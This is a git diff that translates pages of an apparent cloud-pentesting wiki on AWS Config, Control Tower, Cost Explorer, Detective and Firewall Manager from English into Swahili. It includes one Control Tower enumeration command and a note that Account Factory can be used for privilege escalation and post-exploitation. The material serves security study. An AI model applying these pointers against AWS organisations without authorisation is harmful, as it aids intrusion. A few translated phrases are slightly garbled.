a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md index f2ab3c4c5..94134513a 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md @@ -4,47 +4,43 @@ ## AWS Config -AWS Config **capture resource changes**, so any change to a resource supported by Config can be recorded, which will **record what changed along with other useful metadata, all held within a file known as a configuration item**, a CI. This service is **region specific**. +AWS Config **inas capture mabadiliko ya rasilimali**, hivyo mabadiliko yoyote kwa rasilimali inayoungwa mkono na Config yanaweza kurekodiwa, ambayo it **arekodi kile kilichobadilika pamoja na metadata nyingine muhimu, yote yakiwa ndani ya faili inayojulikana kama kipengele cha usanidi**, CI. Huduma hii ni **maalum kwa eneo**. -A configuration item or **CI** as it's known, is a key component of AWS Config. It is comprised of a JSON file that **holds the configuration information, relationship information and other metadata as a point-in-time snapshot view of a supported resource**. All the information that AWS Config can record for a resource is captured within the CI. A CI is created **every time** a supported resource has a change made to its configuration in any way. In addition to recording the details of the affected resource, AWS Config will also record CIs for any directly related resources to ensure the change did not affect those resources too. +Kipengele cha usanidi au **CI** kama inavyojulikana, ni sehemu muhimu ya AWS Config. Inajumuisha faili ya JSON ambayo **ina habari za usanidi, habari za uhusiano na metadata nyingine kama muonekano wa picha ya wakati fulani wa rasilimali inayoungwa mkono**. Taarifa zote ambazo AWS Config inaweza kurekodi kwa rasilimali zinakamatwa ndani ya CI. CI inaundwa **kila wakati** rasilimali inayoungwa mkono inapopewa mabadiliko yoyote kwenye usanidi wake. Mbali na kurekodi maelezo ya rasilimali iliyoathirika, AWS Config pia itarekodi CIs kwa rasilimali zozote zinazohusiana moja kwa moja ili kuhakikisha mabadiliko hayo hayakuhusisha rasilimali hizo pia. -- **Metadata**: Contains details about the configuration item itself. A version ID and a configuration ID, which uniquely identifies the CI. Ither information can include a MD5Hash that allows you to compare other CIs already recorded against the same resource. -- **Attributes**: This holds common **attribute information against the actual resource**. Within this section, we also have a unique resource ID, and any key value tags that are associated to the resource. The resource type is also listed. For example, if this was a CI for an EC2 instance, the resource types listed could be the network interface, or the elastic IP address for that EC2 instance -- **Relationships**: This holds information for any connected **relationship that the resource may have**. So within this section, it would show a clear description of any relationship to other resources that this resource had. For example, if the CI was for an EC2 instance, the relationship section may show the connection to a VPC along with the subnet that the EC2 instance resides in. -- **Current configuration:** This will display the same information that would be generated if you were to perform a describe or list API call made by the AWS CLI. AWS Config uses the same API calls to get the same information. -- **Related events**: This relates to AWS CloudTrail. This will display the **AWS CloudTrail event ID that is related to the change that triggered the creation of this CI**. There is a new CI made for every change made against a resource. As a result, different CloudTrail event IDs will be created. +- **Metadata**: Inajumuisha maelezo kuhusu kipengele cha usanidi chenyewe. Kitambulisho cha toleo na kitambulisho cha usanidi, ambacho kinatambulisha kipekee CI. Taarifa nyingine zinaweza kujumuisha MD5Hash inayokuruhusu kulinganisha CIs nyingine ambazo tayari zimeandikwa dhidi ya rasilimali hiyo hiyo. +- **Attributes**: Hii inashikilia habari za kawaida **za sifa dhidi ya rasilimali halisi**. Ndani ya sehemu hii, pia tuna kitambulisho cha kipekee cha rasilimali, na vitambulisho vyovyote vya thamani muhimu vinavyohusishwa na rasilimali hiyo. Aina ya rasilimali pia inatajwa. Kwa mfano, ikiwa hii ilikuwa CI kwa mfano wa EC2, aina za rasilimali zilizoorodheshwa zinaweza kuwa kiunganishi cha mtandao, au anwani ya IP elastic kwa mfano huo wa EC2. +- **Relationships**: Hii inashikilia habari za **uhusiano wowote uliounganishwa ambao rasilimali inaweza kuwa nao**. Hivyo ndani ya sehemu hii, itonyesha maelezo wazi ya uhusiano wowote na rasilimali nyingine ambazo rasilimali hii ilikuwa nayo. Kwa mfano, ikiwa CI ilikuwa kwa mfano wa EC2, sehemu ya uhusiano inaweza kuonyesha kiunganishi kwa VPC pamoja na subnet ambayo mfano wa EC2 unakaa. +- **Current configuration:** Hii itaonyesha habari sawa ambayo ingezalishwa ikiwa ungeweza kufanya wito wa API wa kuelezea au orodha uliofanywa na AWS CLI. AWS Config inatumia wito sawa wa API kupata habari sawa. +- **Related events**: Hii inahusiana na AWS CloudTrail. Hii itaonyesha **kitambulisho cha tukio la AWS CloudTrail kinachohusiana na mabadiliko yaliyosababisha uundaji wa CI hii**. Kuna CI mpya inayoundwa kwa kila mabadiliko yaliyofanywa dhidi ya rasilimali. Kama matokeo, vitambulisho tofauti vya tukio la CloudTrail vitaundwa. -**Configuration History**: It's possible to obtain the configuration history of resources thanks to the configurations items. A configuration history is delivered every 6 hours and contains all CI's for a particular resource type. +**Historia ya Usanidi**: Inawezekana kupata historia ya usanidi wa rasilimali kutokana na vipengele vya usanidi. Historia ya usanidi inatolewa kila masaa 6 na ina CIs zote za aina fulani ya rasilimali. -**Configuration Streams**: Configuration items are sent to an SNS Topic to enable analysis of the data. +**Mito ya Usanidi**: Vipengele vya usanidi vinatumwa kwa SNS Topic ili kuwezesha uchambuzi wa data. -**Configuration Snapshots**: Configuration items are used to create a point in time snapshot of all supported resources. +**Picha za Usanidi**: Vipengele vya usanidi vinatumika kuunda picha ya wakati fulani ya rasilimali zote zinazoungwa mkono. -**S3 is used to store** the Configuration History files and any Configuration snapshots of your data within a single bucket, which is defined within the Configuration recorder. If you have multiple AWS accounts you may want to aggregate your configuration history files into the same S3 bucket for your primary account. However, you'll need to grant write access for this service principle, config.amazonaws.com, and your secondary accounts with write access to the S3 bucket in your primary account. +**S3 inatumika kuhifadhi** faili za Historia ya Usanidi na picha zozote za Usanidi za data yako ndani ya ndoo moja, ambayo inafafanuliwa ndani ya rekoda ya usanidi. Ikiwa una akaunti nyingi za AWS unaweza kutaka kuunganisha faili zako za historia ya usanidi ndani ya ndoo moja ya S3 kwa akaunti yako kuu. Hata hivyo, utahitaji kutoa ruhusa ya kuandika kwa kanuni hii ya huduma, config.amazonaws.com, na akaunti zako za sekondari zikiwa na ruhusa ya kuandika kwenye ndoo ya S3 katika akaunti yako kuu. -### Functioning +### Kazi -- When make changes, for example to security group or bucket access control list ā€”> fire off as an Event picked up by AWS Config -- Stores everything in S3 bucket -- Depending on the setup, as soon as something changes it could trigger a lambda function OR schedule lambda function to periodically look through the AWS Config settings -- Lambda feeds back to Config -- If rule has been broken, Config fires up an SNS +- Wakati unafanya mabadiliko, kwa mfano kwa kundi la usalama au orodha ya udhibiti wa ufikiaji wa ndoo ā€”> itawasha kama Tukio lililochukuliwa na AWS Config +- Huhifadhi kila kitu kwenye ndoo ya S3 +- Kulingana na mipangilio, mara tu kitu kinapobadilika kinaweza kuanzisha kazi ya lambda AU kupanga kazi ya lambda kuangalia mara kwa mara mipangilio ya AWS Config +- Lambda inarudisha nyuma kwa Config +- Ikiwa sheria imevunjwa, Config inawasha SNS ![](<../../../../images/image (126).png>) -### Config Rules +### Sheria za Config -Config rules are a great way to help you **enforce specific compliance checks** **and controls across your resources**, and allows you to adopt an ideal deployment specification for each of your resource types. Each rule **is essentially a lambda function** that when called upon evaluates the resource and carries out some simple logic to determine the compliance result with the rule. **Each time a change is made** to one of your supported resources, **AWS Config will check the compliance against any config rules that you have in place**.\ -AWS have a number of **predefined rules** that fall under the security umbrella that are ready to use. For example, Rds-storage-encrypted. This checks whether storage encryption is activated by your RDS database instances. Encrypted-volumes. This checks to see if any EBS volumes that have an attached state are encrypted. +Sheria za Config ni njia nzuri ya kukusaidia **kuimarisha ukaguzi maalum wa ufuatiliaji** **na udhibiti katika rasilimali zako**, na inakuwezesha kupitisha spesifikesheni bora ya kutekeleza kwa kila aina ya rasilimali zako. Kila sheria **kimsingi ni kazi ya lambda** ambayo inapoitwa inakagua rasilimali na inatekeleza mantiki rahisi ili kubaini matokeo ya ufuatiliaji kwa sheria hiyo. **Kila wakati mabadiliko yanapofanywa** kwa moja ya rasilimali zako zinazoungwa mkono, **AWS Config itakagua ufuatiliaji dhidi ya sheria zozote za config ambazo umeweka**.\ +AWS ina sheria kadhaa **zilizowekwa awali** ambazo ziko chini ya kivuli cha usalama ambazo ziko tayari kutumika. Kwa mfano, Rds-storage-encrypted. Hii inakagua ikiwa usimbaji wa kuhifadhi umewezeshwa na mifano yako ya RDS. Encrypted-volumes. Hii inakagua kuona ikiwa kuna EBS volumes zozote ambazo zina hali iliyoambatanishwa zimeandikwa. -- **AWS Managed rules**: Set of predefined rules that cover a lot of best practices, so it's always worth browsing these rules first before setting up your own as there is a chance that the rule may already exist. -- **Custom rules**: You can create your own rules to check specific customconfigurations. +- **Sheria za AWS Zinasimamiwa**: Seti ya sheria zilizowekwa awali ambazo zinashughulikia mazoea bora mengi, hivyo kila wakati inafaa kuangalia sheria hizi kwanza kabla ya kuweka zako mwenyewe kwani kuna nafasi kwamba sheria hiyo inaweza tayari kuwepo. +- **Sheria za Kijadi**: Unaweza kuunda sheria zako mwenyewe kuangalia usanidi maalum wa kawaida. -Limit of 50 config rules per region before you need to contact AWS for an increase.\ -Non compliant results are NOT deleted. +Kikomo cha sheria 50 za config kwa kila eneo kabla ya kuhitaji kuwasiliana na AWS kwa kuongeza.\ +Matokeo yasiyofuata sheria hayatatolewa. {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md index 9fab39fb8..81b38453b 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md @@ -5,33 +5,31 @@ ## Control Tower > [!NOTE] -> In summary, Control Tower is a service that allows to define policies for all your accounts inside your org. So instead of managing each of the you can set policies from Control Tower that will be applied on them. +> Kwa muhtasari, Control Tower ni huduma inayoruhusu kufafanua sera kwa ajili ya akaunti zako zote ndani ya shirika lako. Hivyo badala ya kusimamia kila moja, unaweza kuweka sera kutoka Control Tower ambazo zitawekwa kwenye hizo. -AWS Control Tower is a **service provided by Amazon Web Services (AWS)** that enables organizations to set up and govern a secure, compliant, multi-account environment in AWS. +AWS Control Tower ni **huduma inayotolewa na Amazon Web Services (AWS)** inayowezesha mashirika kuanzisha na kusimamia mazingira salama, yanayokidhi vigezo, ya akaunti nyingi katika AWS. -AWS Control Tower provides a **pre-defined set of best-practice blueprints** that can be customized to meet specific **organizational requirements**. These blueprints include pre-configured AWS services and features, such as AWS Single Sign-On (SSO), AWS Config, AWS CloudTrail, and AWS Service Catalog. +AWS Control Tower inatoa **seti iliyopangwa ya mipango bora ya mazoea** ambayo inaweza kubadilishwa ili kukidhi **mahitaji maalum ya shirika**. Mipango hii inajumuisha huduma na vipengele vya AWS vilivyowekwa tayari, kama vile AWS Single Sign-On (SSO), AWS Config, AWS CloudTrail, na AWS Service Catalog. -With AWS Control Tower, administrators can quickly set up a **multi-account environment that meets organizational requirements**, such as **security** and compliance. The service provides a central dashboard to view and manage accounts and resources, and it also automates the provisioning of accounts, services, and policies. +Kwa AWS Control Tower, wasimamizi wanaweza haraka kuanzisha **mazingira ya akaunti nyingi yanayokidhi mahitaji ya shirika**, kama vile **usalama** na ufuatiliaji. Huduma hii inatoa dashibodi kuu ya kutazama na kusimamia akaunti na rasilimali, na pia inafanya kiotomatiki utoaji wa akaunti, huduma, na sera. -In addition, AWS Control Tower provides guardrails, which are a set of pre-configured policies that ensure the environment remains compliant with organizational requirements. These policies can be customized to meet specific needs. +Zaidi ya hayo, AWS Control Tower inatoa guardrails, ambazo ni seti ya sera zilizowekwa tayari zinazohakikisha mazingira yanabaki yanakidhi mahitaji ya shirika. Sera hizi zinaweza kubadilishwa ili kukidhi mahitaji maalum. -Overall, AWS Control Tower simplifies the process of setting up and managing a secure, compliant, multi-account environment in AWS, making it easier for organizations to focus on their core business objectives. +Kwa ujumla, AWS Control Tower inarahisisha mchakato wa kuanzisha na kusimamia mazingira salama, yanayokidhi vigezo, ya akaunti nyingi katika AWS, na kuifanya iwe rahisi kwa mashirika kuzingatia malengo yao makuu ya biashara. ### Enumeration -For enumerating controltower controls, you first need to **have enumerated the org**: +Ili kuhesabu udhibiti wa controltower, kwanza unahitaji **kuwa umepata shirika**: {{#ref}} ../aws-organizations-enum.md {{#endref}} - ```bash # Get controls applied in an account aws controltower list-enabled-controls --target-identifier arn:aws:organizations:::ou/ ``` - > [!WARNING] -> Control Tower can also use **Account factory** to execute **CloudFormation templates** in **accounts and run services** (privesc, post-exploitation...) in those accounts +> Control Tower inaweza pia kutumia **Account factory** kutekeleza **CloudFormation templates** katika **akaunti na kuendesha huduma** (privesc, post-exploitation...) katika akaunti hizo ### Post Exploitation & Persistence @@ -40,7 +38,3 @@ aws controltower list-enabled-controls --target-identifier arn:aws:organizations {{#endref}} {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md index 2f967331b..21821f83f 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md @@ -2,18 +2,14 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Cost Explorer and Anomaly detection +## Cost Explorer na Ugunduzi wa Anomalies -This allows you to check **how are you expending money in AWS services** and help you **detecting anomalies**.\ -Moreover, you can configure an anomaly detection so AWS will warn you when some a**nomaly in costs is found**. +Hii inakuwezesha kuangalia **jinsi unavyotumia pesa katika huduma za AWS** na inakusaidia **kubaini anomalies**.\ +Zaidi ya hayo, unaweza kuunda ugunduzi wa anomalies ili AWS ikujulishe wakati **anomaly katika gharama inapatikana**. -### Budgets +### Bajeti -Budgets help to **manage costs and usage**. You can get **alerted when a threshold is reached**.\ -Also, they can be used for non cost related monitoring like the usage of a service (how many GB are used in a particular S3 bucket?). +Bajeti husaidia **kusimamia gharama na matumizi**. Unaweza kupata **onyo unapofikia kigezo fulani**.\ +Pia, zinaweza kutumika kwa ufuatiliaji usiohusiana na gharama kama matumizi ya huduma (ni GB ngapi zinatumika katika S3 bucket fulani?). {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md index 9d1a40eba..3b2b3923b 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md @@ -4,9 +4,9 @@ ## Detective -**Amazon Detective** streamlines the security investigation process, making it more efficient to **analyze, investigate, and pinpoint the root cause** of security issues or unusual activities. It automates the collection of log data from AWS resources and employs **machine learning, statistical analysis, and graph theory** to construct an interconnected data set. This setup greatly enhances the speed and effectiveness of security investigations. +**Amazon Detective** inarahisisha mchakato wa uchunguzi wa usalama, na kufanya iwe rahisi zaidi **kuchambua, kuchunguza, na kubaini sababu ya msingi** ya matatizo ya usalama au shughuli zisizo za kawaida. Inafanya kazi ya kukusanya data za logi kutoka kwa rasilimali za AWS na inatumia **ujifunzaji wa mashine, uchambuzi wa takwimu, na nadharia ya grafu** kujenga seti ya data iliyounganishwa. Mpangilio huu unaboresha sana kasi na ufanisi wa uchunguzi wa usalama. -The service eases in-depth exploration of security incidents, allowing security teams to swiftly understand and address the underlying causes of issues. Amazon Detective analyzes vast amounts of data from sources like VPC Flow Logs, AWS CloudTrail, and Amazon GuardDuty. It automatically generates a **comprehensive, interactive view of resources, users, and their interactions over time**. This integrated perspective provides all necessary details and context in one location, enabling teams to discern the reasons behind security findings, examine pertinent historical activities, and rapidly determine the root cause. +Huduma hii inarahisisha uchunguzi wa kina wa matukio ya usalama, ikiruhusu timu za usalama kuelewa na kushughulikia haraka sababu za msingi za matatizo. Amazon Detective inachambua kiasi kikubwa cha data kutoka vyanzo kama VPC Flow Logs, AWS CloudTrail, na Amazon GuardDuty. Inazalisha kiotomatiki **mtazamo wa kina, wa mwingiliano wa rasilimali, watumiaji, na mwingiliano wao kwa muda**. Mtazamo huu uliounganishwa unatoa maelezo na muktadha wote muhimu mahali pamoja, ikiruhusu timu kubaini sababu za matokeo ya usalama, kuchunguza shughuli za kihistoria zinazohusiana, na kubaini haraka sababu ya msingi. ## References @@ -14,7 +14,3 @@ The service eases in-depth exploration of security incidents, allowing security - [https://cloudsecdocs.com/aws/services/logging/other/#detective](https://cloudsecdocs.com/aws/services/logging/other/#detective) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md index 0369f075c..cce6e5eab 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md @@ -4,80 +4,79 @@ ## Firewall Manager -**AWS Firewall Manager** streamlines the management and maintenance of **AWS WAF, AWS Shield Advanced, Amazon VPC security groups and Network Access Control Lists (ACLs), and AWS Network Firewall, AWS Route 53 Resolver DNS Firewall and third-party firewalls** across multiple accounts and resources. It enables you to configure your firewall rules, Shield Advanced protections, VPC security groups, and Network Firewall settings just once, with the service **automatically enforcing these rules and protections across your accounts and resources**, including newly added ones. +**AWS Firewall Manager** inarahisisha usimamizi na matengenezo ya **AWS WAF, AWS Shield Advanced, vikundi vya usalama vya Amazon VPC na Orodha za Udhibiti wa Upatikanaji wa Mtandao (ACLs), na AWS Network Firewall, AWS Route 53 Resolver DNS Firewall na firewalls za wahusika wengine** katika akaunti na rasilimali nyingi. Inakuwezesha kufafanua sheria za firewall yako, ulinzi wa Shield Advanced, vikundi vya usalama vya VPC, na mipangilio ya Network Firewall mara moja, huku huduma hiyo **ikiweka sheria na ulinzi huu kiotomatiki katika akaunti na rasilimali zako**, ikiwa ni pamoja na zile zilizoongezwa hivi karibuni. -The service offers the capability to **group and safeguard specific resources together**, like those sharing a common tag or all your CloudFront distributions. A significant advantage of Firewall Manager is its ability to **automatically extend protection to newly added resources** in your account. +Huduma hii inatoa uwezo wa **kundi na kulinda rasilimali maalum pamoja**, kama zile zinazoshiriki lebo ya kawaida au usambazaji wako wote wa CloudFront. Faida kubwa ya Firewall Manager ni uwezo wake wa **kupanua ulinzi kiotomatiki kwa rasilimali zilizoongezwa hivi karibuni** katika akaunti yako. -A **rule group** (a collection of WAF rules) can be incorporated into an AWS Firewall Manager Policy, which is then linked to specific AWS resources such as CloudFront distributions or application load balancers. +**Kikundi cha sheria** (mkusanyiko wa sheria za WAF) kinaweza kuunganishwa katika Sera ya AWS Firewall Manager, ambayo kisha inahusishwa na rasilimali maalum za AWS kama vile usambazaji wa CloudFront au balancer za mzigo wa programu. -AWS Firewall Manager provides **managed application and protocol lists** to simplify the configuration and management of security group policies. These lists allow you to define the protocols and applications permitted or denied by your policies. There are two types of managed lists: +AWS Firewall Manager inatoa **orodha za programu na protokali zinazodhibitiwa** ili kurahisisha usanidi na usimamizi wa sera za vikundi vya usalama. Orodha hizi zinakuwezesha kufafanua protokali na programu zinazoruhusiwa au kukataliwa na sera zako. Kuna aina mbili za orodha zinazodhibitiwa: -- **Firewall Manager managed lists**: These lists include **FMS-Default-Public-Access-Apps-Allowed**, **FMS-Default-Protocols-Allowed** and **FMS-Default-Protocols-Allowed**. They are managed by Firewall Manager and include commonly used applications and protocols that should be allowed or denied to the general public. It is not possible to edit or delete them, however, you can choose its version. -- **Custom managed lists**: You manage these lists yourself. You can create custom application and protocol lists tailored to your organization's needs. Unlike Firewall Manager managed lists, these lists do not have versions, but you have full control over custom lists, allowing you to create, edit, and delete them as required. +- **Orodha zinazodhibitiwa na Firewall Manager**: Orodha hizi zinajumuisha **FMS-Default-Public-Access-Apps-Allowed**, **FMS-Default-Protocols-Allowed** na **FMS-Default-Protocols-Allowed**. Zinadhibitiwa na Firewall Manager na zinajumuisha programu na protokali zinazotumika mara kwa mara ambazo zinapaswa kuruhusiwa au kukataliwa kwa umma kwa ujumla. Haiwezekani kuhariri au kufuta, hata hivyo, unaweza kuchagua toleo lake. +- **Orodha za kawaida zinazodhibitiwa**: Unazisimamia orodha hizi mwenyewe. Unaweza kuunda orodha za programu na protokali za kawaida zinazofaa mahitaji ya shirika lako. Tofauti na orodha zinazodhibitiwa na Firewall Manager, orodha hizi hazina matoleo, lakini una udhibiti kamili juu ya orodha za kawaida, na kukuruhusu kuunda, kuhariri, na kufuta kama inavyohitajika. -It's important to note that **Firewall Manager policies permit only "Block" or "Count" actions** for a rule group, without an "Allow" option. +Ni muhimu kutambua kwamba **sera za Firewall Manager zinaruhusu tu vitendo vya "Block" au "Count"** kwa kikundi cha sheria, bila chaguo la "Allow". ### Prerequisites -The following prerequisite steps must be completed before proceeding to configure Firewall Manager to begin protecting your organization's resources effectively. These steps provide the foundational setup required for Firewall Manager to enforce security policies and ensure compliance across your AWS environment: +Hatua zifuatazo za awali lazima zikamilishwe kabla ya kuendelea na usanidi wa Firewall Manager ili kuanza kulinda rasilimali za shirika lako kwa ufanisi. Hatua hizi zinatoa usanidi wa msingi unaohitajika kwa Firewall Manager kutekeleza sera za usalama na kuhakikisha kufuata sheria katika mazingira yako ya AWS: -1. **Join and configure AWS Organizations:** Ensure your AWS account is part of the AWS Organizations organization where the AWS Firewall Manager policies are planned to be implanted. This allows for centralized management of resources and policies across multiple AWS accounts within the organization. -2. **Create an AWS Firewall Manager Default Administrator Account:** Establish a default administrator account specifically for managing Firewall Manager security policies. This account will be responsible for configuring and enforcing security policies across the organization. Just the management account of the organization is able to create Firewall Manager default administrator accounts. -3. **Enable AWS Config:** Activate AWS Config to provide Firewall Manager with the necessary configuration data and insights required to effectively enforce security policies. AWS Config helps analyze, audit, monitor and audit resource configurations and changes, facilitating better security management. -4. **For Third-Party Policies, Subscribe in the AWS Marketplace and Configure Third-Party Settings:** If you plan to utilize third-party firewall policies, subscribe to them in the AWS Marketplace and configure the necessary settings. This step ensures that Firewall Manager can integrate and enforce policies from trusted third-party vendors. -5. **For Network Firewall and DNS Firewall Policies, enable resource sharing:** Enable resource sharing specifically for Network Firewall and DNS Firewall policies. This allows Firewall Manager to apply firewall protections to your organization's VPCs and DNS resolution, enhancing network security. -6. **To use AWS Firewall Manager in Regions that are disabled by default:** If you intend to use Firewall Manager in AWS regions that are disabled by default, ensure that you take the necessary steps to enable its functionality in those regions. This ensures consistent security enforcement across all regions where your organization operates. +1. **Jiunge na usanidi wa AWS Organizations:** Hakikisha akaunti yako ya AWS ni sehemu ya shirika la AWS Organizations ambapo sera za AWS Firewall Manager zinapangwa kutekelezwa. Hii inaruhusu usimamizi wa kati wa rasilimali na sera katika akaunti nyingi za AWS ndani ya shirika. +2. **Unda Akaunti ya Msimamizi wa Default wa AWS Firewall Manager:** Kuanzisha akaunti ya msimamizi wa default mahsusi kwa usimamizi wa sera za usalama za Firewall Manager. Akaunti hii itakuwa na jukumu la kufafanua na kutekeleza sera za usalama katika shirika. Ni akaunti ya usimamizi ya shirika pekee inayoweza kuunda akaunti za msimamizi wa default wa Firewall Manager. +3. **Washa AWS Config:** Washa AWS Config ili kutoa Firewall Manager na data na maarifa muhimu ya usanidi yanayohitajika kutekeleza sera za usalama kwa ufanisi. AWS Config husaidia kuchambua, kukagua, kufuatilia na kukagua usanidi wa rasilimali na mabadiliko, ikirahisisha usimamizi bora wa usalama. +4. **Kwa Sera za Wahusika Wengine, Jiandikishe katika Soko la AWS na Usanidi Mipangilio ya Wahusika Wengine:** Ikiwa unatarajia kutumia sera za firewall za wahusika wengine, jiandikishe kwao katika Soko la AWS na usanidi mipangilio inayohitajika. Hatua hii inahakikisha kwamba Firewall Manager inaweza kuunganishwa na kutekeleza sera kutoka kwa wauzaji wa wahusika wengine wanaoaminika. +5. **Kwa Sera za Network Firewall na DNS Firewall, wezesha ushirikiano wa rasilimali:** Wezesha ushirikiano wa rasilimali mahsusi kwa sera za Network Firewall na DNS Firewall. Hii inaruhusu Firewall Manager kutekeleza ulinzi wa firewall kwa VPC za shirika lako na ufumbuzi wa DNS, ikiongeza usalama wa mtandao. +6. **Ili kutumia AWS Firewall Manager katika Mikoa ambayo zimezimwa kwa chaguo-msingi:** Ikiwa unakusudia kutumia Firewall Manager katika mikoa ya AWS ambayo zimezimwa kwa chaguo-msingi, hakikisha unachukua hatua zinazohitajika ili kuwezesha kazi yake katika mikoa hiyo. Hii inahakikisha utekelezaji wa usalama unaofanana katika mikoa yote ambapo shirika lako linafanya kazi. -For more information, check: [Getting started with AWS Firewall Manager AWS WAF policies](https://docs.aws.amazon.com/waf/latest/developerguide/getting-started-fms.html). +Kwa maelezo zaidi, angalia: [Getting started with AWS Firewall Manager AWS WAF policies](https://docs.aws.amazon.com/waf/latest/developerguide/getting-started-fms.html). ### Types of protection policies -AWS Firewall Manager manages several types of policies to enforce security controls across different aspects of your organization's infrastructure: +AWS Firewall Manager inasimamia aina kadhaa za sera ili kutekeleza udhibiti wa usalama katika nyanja tofauti za miundombinu ya shirika lako: -1. **AWS WAF Policy:** This policy type supports both AWS WAF and AWS WAF Classic. You can define which resources are protected by the policy. For AWS WAF policies, you can specify sets of rule groups to run first and last in the web ACL. Additionally, account owners can add rules and rule groups to run in between these sets. -2. **Shield Advanced Policy:** This policy applies Shield Advanced protections across your organization for specified resource types. It helps safeguard against DDoS attacks and other threats. -3. **Amazon VPC Security Group Policy:** With this policy, you can manage security groups used throughout your organization, enforcing a baseline set of rules across your AWS environment to control network access. -4. **Amazon VPC Network Access Control List (ACL) Policy:** This policy type gives you control over network ACLs used in your organization, allowing you to enforce a baseline set of network ACLs across your AWS environment. -5. **Network Firewall Policy:** This policy applies AWS Network Firewall protection to your organization's VPCs, enhancing network security by filtering traffic based on predefined rules. -6. **Amazon Route 53 Resolver DNS Firewall Policy:** This policy applies DNS Firewall protections to your organization's VPCs, helping to block malicious domain resolution attempts and enforce security policies for DNS traffic. -7. **Third-Party Firewall Policy:** This policy type applies protections from third-party firewalls, which are available by subscription through the AWS Marketplace console. It allows you to integrate additional security measures from trusted vendors into your AWS environment. - 1. **Palo Alto Networks Cloud NGFW Policy:** This policy applies Palo Alto Networks Cloud Next Generation Firewall (NGFW) protections and rulestacks to your organization's VPCs, providing advanced threat prevention and application-level security controls. - 2. **Fortigate Cloud Native Firewall (CNF) as a Service Policy:** This policy applies Fortigate Cloud Native Firewall (CNF) as a Service protections, offering industry-leading threat prevention, web application firewall (WAF), and API protection tailored for cloud infrastructures. +1. **AWS WAF Policy:** Aina hii ya sera inasaidia AWS WAF na AWS WAF Classic. Unaweza kufafanua ni rasilimali zipi zinazolindwa na sera hiyo. Kwa sera za AWS WAF, unaweza kufafanua seti za vikundi vya sheria kuendesha kwanza na mwisho katika ACL ya wavuti. Aidha, wamiliki wa akaunti wanaweza kuongeza sheria na vikundi vya sheria kuendesha kati ya seti hizi. +2. **Shield Advanced Policy:** Sera hii inatumika kwa ulinzi wa Shield Advanced katika shirika lako kwa aina maalum za rasilimali. Inasaidia kulinda dhidi ya mashambulizi ya DDoS na vitisho vingine. +3. **Amazon VPC Security Group Policy:** Kwa sera hii, unaweza kusimamia vikundi vya usalama vinavyotumika katika shirika lako, ukitekeleza seti ya msingi ya sheria katika mazingira yako ya AWS ili kudhibiti upatikanaji wa mtandao. +4. **Amazon VPC Network Access Control List (ACL) Policy:** Aina hii ya sera inakupa udhibiti juu ya ACL za mtandao zinazotumika katika shirika lako, ikiruhusu kutekeleza seti ya msingi ya ACL za mtandao katika mazingira yako ya AWS. +5. **Network Firewall Policy:** Sera hii inatumika kwa ulinzi wa AWS Network Firewall kwa VPC za shirika lako, ikiongeza usalama wa mtandao kwa kuchuja trafiki kulingana na sheria zilizowekwa. +6. **Amazon Route 53 Resolver DNS Firewall Policy:** Sera hii inatumika kwa ulinzi wa DNS Firewall kwa VPC za shirika lako, ikisaidia kuzuia majaribio ya kutatua majina mabaya na kutekeleza sera za usalama kwa trafiki ya DNS. +7. **Third-Party Firewall Policy:** Aina hii ya sera inatumika kwa ulinzi kutoka kwa firewalls za wahusika wengine, ambazo zinapatikana kwa usajili kupitia console ya Soko la AWS. Inakuruhusu kuunganisha hatua za ziada za usalama kutoka kwa wauzaji wanaoaminika katika mazingira yako ya AWS. +1. **Palo Alto Networks Cloud NGFW Policy:** Sera hii inatumika kwa ulinzi wa Palo Alto Networks Cloud Next Generation Firewall (NGFW) na seti za sheria kwa VPC za shirika lako, ikitoa kinga ya juu dhidi ya vitisho na udhibiti wa usalama wa kiwango cha programu. +2. **Fortigate Cloud Native Firewall (CNF) as a Service Policy:** Sera hii inatumika kwa ulinzi wa Fortigate Cloud Native Firewall (CNF) kama Huduma, ikitoa kinga ya kiwango cha juu dhidi ya vitisho, firewall ya programu ya wavuti (WAF), na ulinzi wa API ulioandaliwa kwa miundombinu ya wingu. ### Administrator accounts -AWS Firewall Manager offers flexibility in managing firewall resources within your organization through its administrative scope and two types of administrator accounts. +AWS Firewall Manager inatoa kubadilika katika usimamizi wa rasilimali za firewall ndani ya shirika lako kupitia upeo wake wa usimamizi na aina mbili za akaunti za wasimamizi. -**Administrative scope defines the resources that a Firewall Manager administrator can manage**. After an AWS 